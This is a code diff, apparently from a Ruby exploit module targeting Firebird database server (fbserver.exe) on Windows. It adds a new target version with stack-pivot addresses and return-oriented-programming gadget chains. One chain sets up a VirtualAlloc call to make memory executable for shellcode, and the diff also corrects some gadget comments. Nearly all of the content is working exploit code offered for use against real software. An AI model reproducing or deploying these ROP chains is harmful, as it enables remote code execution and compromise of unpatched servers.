@@ -48,10 +48,11 @@ def initialize
48
48
} ,
49
49
'Targets' =>
50
50
[
51
- # pivots are pointers to stack pivots
51
+ # pivots are pointers to stack pivots of size 0x28
52
52
[ 'Windows FB 2.5.2.26539' , { 'pivot' => 0x005ae1fc , 'rop_nop' => 0x005b0384 , 'rop_pop' => 0x4a831344 } ] ,
53
53
[ 'Windows FB 2.5.1.26351' , { 'pivot' => 0x4add2302 , 'rop_nop' => 0x00424a50 , 'rop_pop' => 0x00656472 } ] ,
54
54
[ 'Windows FB 2.1.5.18496' , { 'pivot' => 0x4ad5df4d , 'rop_nop' => 0x0042ba8c , 'rop_pop' => 0x005763d5 } ] ,
55
+ [ 'Windows FB 2.1.4.18393' , { 'pivot' => 0x4adf4ed5 , 'rop_nop' => 0x00423b82 , 'rop_pop' => 0x4a843429 } ] ,
55
56
[ 'Debug' , { 'pivot' => 0xdead1337 , 'rop_nop' => 0xdead1337 , 'rop_pop' => 0xdead1337 } ]
56
57
] ,
57
58
'DefaultTarget' => 0 ,
@@ -124,10 +125,18 @@ def stack_pivot_rop_chain
124
125
rop_chain = [
125
126
0x0055b844 , # MOV EAX,EDI # RETN [fbserver.exe]
126
127
0x4a86ee77 , # POP ECX # RETN [icuuc30.dll]
127
- 0x000001c0 , # 0x000001c0-> ebp
128
+ 0x000001c0 , # 0x000001c0-> ecx
128
129
0x005aee63 , # ADD EAX,ECX # RETN [fbserver.exe]
129
130
0x4a82d326 , # XCHG EAX,ESP # RETN [icuuc30.dll]
130
131
] . pack ( "V*" )
132
+ when 'Windows FB 2.1.4.18393'
133
+ rop_chain = [
134
+ 0x0042264c , # MOV EAX,EDI # RETN [fbserver.exe]
135
+ 0x4a8026e1 , # POP ECX # RETN [icuuc30.dll]
136
+ 0x000001c0 , # 0x000001c0-> ecx
137
+ 0x004c5499 , # ADD EAX,ECX # RETN [fbserver.exe]
138
+ 0x4a847664 , # XCHG EAX,ESP # RETN [icuuc30.dll]
139
+ ] . pack ( "V*" )
131
140
when 'Debug'
132
141
rop_chain = [ ] . fill ( 0x41414141 , 0 ..5 ) . pack ( "V*" )
133
142
end
@@ -196,7 +205,27 @@ def final_rop_chain
196
205
0x00577605 , # POP EAX # RETN [fbserver.exe]
197
206
0x90909090 , # nop
198
207
0x004530ce , # PUSHAD # RETN [fbserver.exe]
199
- ] . flatten . pack ( "V*" )
208
+ ] . pack ( "V*" )
209
+ when 'Windows FB 2.1.4.18393'
210
+ rop_chain = [
211
+ 0x4a843429 , # POP ECX # RETN [icuuc30.dll]
212
+ 0x005ca120 , # ptr to &VirtualAlloc() [IAT fbserver.exe]
213
+ 0x0055a870 , # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
214
+ 0x004cecf6 , # XCHG EAX,ESI # RETN [fbserver.exe]
215
+ 0x004279c0 , # POP EBP # RETN [fbserver.exe]
216
+ 0x0040747d , # & call esp [fbserver.exe]
217
+ 0x004ebef1 , # POP EBX # RETN [fbserver.exe]
218
+ 0x00001000 , # 0x00001000-> ebx
219
+ 0x4a864c5e , # POP EDX # RETN [icuuc30.dll]
220
+ 0x00001000 , # 0x00001000-> edx
221
+ 0x004eaa3b , # POP ECX # RETN [fbserver.exe]
222
+ 0x00000040 , # 0x00000040-> ecx
223
+ 0x4a8330a2 , # POP EDI # RETN [icuuc30.dll]
224
+ 0x00423b82 , # RETN (ROP NOP) [fbserver.exe]
225
+ 0x0046b5b1 , # POP EAX # RETN [fbserver.exe]
226
+ 0x90909090 , # nop
227
+ 0x004c8cfc , # PUSHAD # RETN [fbserver.exe]
228
+ ] . pack ( "V*" )
200
229
when 'Debug'
201
230
rop_chain = [ ] . fill ( 0x41414141 , 0 ..17 ) . pack ( "V*" )
202
231
end
0 commit comments